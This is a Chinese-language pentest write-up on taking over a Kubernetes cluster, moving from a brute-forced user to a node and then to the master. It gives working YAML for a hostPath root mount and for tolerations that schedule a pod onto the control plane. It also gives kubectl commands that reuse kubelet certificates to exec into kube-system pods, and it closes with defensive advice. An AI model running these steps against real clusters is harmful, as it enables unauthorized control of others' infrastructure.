K8S云原生渗透实战
字数 1410 2025-08-25 22:58:20
Kubernetes云原生渗透实战教学文档
1. 实战目标介绍
Kubernetes是一个开源的容器编排平台,用于管理云平台中多个主机上的容器化应用。本次实战目标是通过渗透测试某Kubernetes云原生产品,分享从普通用户权限提升到控制整个K8s集群的经验和技术。
2. 初始访问 - 获取普通用户test1
- 通过信息收集和暴力破解手段获取普通用户test1的凭据
- 使用test1账号登录Kubernetes管理界面
3. 创建Pod容器
-
添加命名空间:
- 创建名为"test"的命名空间
-
部署工作负载:
- 创建工作负载"myapp"
- 查看Pod IP(10.42.3.65)和所在Node节点(192.168.1.9)
4. Pod容器环境初始化
容器通常缺少基本工具,需要初始化渗透环境:
- 配置DNS:
echo nameserver 8.8.8.8 >> /etc/resolv.conf
echo nameserver 114.114.114.114 >> /etc/resolv.conf
- 更换APT源:
cp /etc/apt/sources.list /etc/apt/sources.list.bak
echo > /etc/apt/sources.list
echo deb https://mirrors.tuna.tsinghua.edu.cn/debian/ bullseye main contrib non-free >> /etc/apt/sources.list
echo deb https://mirrors.tuna.tsinghua.edu.cn/debian/ bullseye-updates main contrib non-free >> /etc/apt/sources.list
echo deb https://mirrors.tuna.tsinghua.edu.cn/debian/ bullseye-backports main contrib non-free >> /etc/apt/sources.list
echo deb https://mirrors.tuna.tsinghua.edu.cn/debian-security bullseye-security main contrib non-free >> /etc/apt/sources.list
- 下载安装kubectl:
wget https://dl.k8s.io/v1.9.11/kubernetes-client-linux-amd64.tar.gz
tar -zxvf kubernetes-client-linux-amd64.tar.gz
cd kubernetes/client/bin
chmod +x kubectl
cp kubernetes/client/bin/kubectl /usr/local/bin/kubectl
5. 挂载Node根目录获取Node节点权限
通过编辑YAML规则挂载Node的根目录到Pod:
spec:
containers:
name: myapp
volumeMounts:
- mountPath: /host
name: host
volumes:
- hostPath:
path: /
type: Directory
name: host
hostPath.path: 被挂载的Node目录(设置为根目录)volumeMounts.mountPath: 容器中的挂载点(/host)
挂载成功后:
- Pod容器IP: 10.42.3.66
- Node节点IP: 192.168.1.9
- 通过写入SSH私钥,利用Pod容器socks5代理登录Node节点
6. 通过容忍度(Tolerations)横向移动到Master节点
- 在Node节点查找kubeconfig配置文件:
ps -efw | grep kubeconfig
找到路径:/etc/kubernetes/ssl/kubecfg-kube-node.yaml
- 使用kubectl获取Master节点污点(Taint)信息:
./kubectl --kubeconfig=/etc/kubernetes/ssl/kubecfg-kube-node.yaml describe node
输出:
Taints: node-role.kubernetes.io/etcd=true:NoExecute
node-role.kubernetes.io/controlplane=true:NoSchedule
- 创建容忍这些污点的Pod YAML:
apiVersion: apps/v1
kind: Deployment
spec:
spec:
containers:
- image: ubuntu/nginx:latest
name: myapp2
volumeMounts:
- mountPath: /host
name: host
dnsPolicy: ClusterFirst
restartPolicy: Always
schedulerName: default-scheduler
tolerations:
- effect: NoSchedule
key: node-role.kubernetes.io/controlplane
operator: Exists
- effect: NoExecute
key: node-role.kubernetes.io/etcd
operator: Exists
volumes:
- hostPath:
path: /
type: Directory
name: host
- 挂载Master节点根目录并写入SSH公钥,获取Master节点访问权限
7. 从Node节点获取K8s集群权限
情景一
- 查找kubeconfig文件:
ps -efw | grep kubeconfig
路径:/etc/kubernetes/ssl/kubecfg-kube-node.yaml
- 使用kubectl获取所有Pod信息:
./kubectl --server=https://127.0.0.1:6443 \
--certificate-authority=/etc/kubernetes/ssl/kube-ca.pem \
--client-key=/etc/kubernetes/ssl/kube-node-key.pem \
--client-certificate=/etc/kubernetes/ssl/kube-node.pem \
get pods --all-namespaces
- 进入任意容器:
./kubectl exec -it metrics-server-v0.2.1-7f8ee58c8f-ab13f \
--namespace=kube-system \
--server=https://127.0.0.1:6443 \
--certificate-authority=ca.crt \
--client-key=/var/lib/kubelet/pki/kubelet-client-current.pem \
--client-certificate=/var/lib/kubelet/pki/kubelet-client-current.pem \
/bin/sh
情景二
- 查找kubeconfig文件:
ps -efw | grep kube
路径:/etc/kubernetes/kubelet.conf
-
搜索ca.crt证书文件
-
获取所有Pod信息:
kubectl --server=https://172.28.0.201:6443 \
--certificate-authority=/etc/kubernetes/pki/ca.crt \
--client-key=/var/lib/kubelet/pki/kubelet-client-current.pem \
--client-certificate=/var/lib/kubelet/pki/kubelet-client-current.pem \
get pods --all-namespaces
- 进入容器示例:
kubectl exec -it calico-node-mk79h \
--namespace=kube-system \
--server=https://172.28.0.201:6443 \
--certificate-authority=/etc/kubernetes/pki/ca.crt \
--client-key=/var/lib/kubelet/pki/kubelet-client-current.pem \
--client-certificate=/var/lib/kubelet/pki/kubelet-client-current.pem \
/bin/sh
8. 总结与关键知识点
-
Node节点权限管理问题:
- Node节点用户权限未严格限制,允许挂载根目录
- 通过挂载Node根目录获取Node节点控制权
-
Kubernetes调度机制:
- Master节点通过设置污点(Taints)避免Pod随意调度
node-role.kubernetes.io/etcd=true:NoExecutenode-role.kubernetes.io/controlplane=true:NoSchedule
- Pod通过设置容忍度(Tolerations)可调度到Master节点
- Master节点通过设置污点(Taints)避免Pod随意调度
-
横向移动技术:
- 从Pod→Node→Master的权限提升路径
- 利用kubeconfig和证书文件获取集群控制权
-
防御建议:
- 加强Node节点权限管理
- 严格控制Pod挂载能力
- 定期轮换证书和凭据
- 实施网络策略限制Pod间通信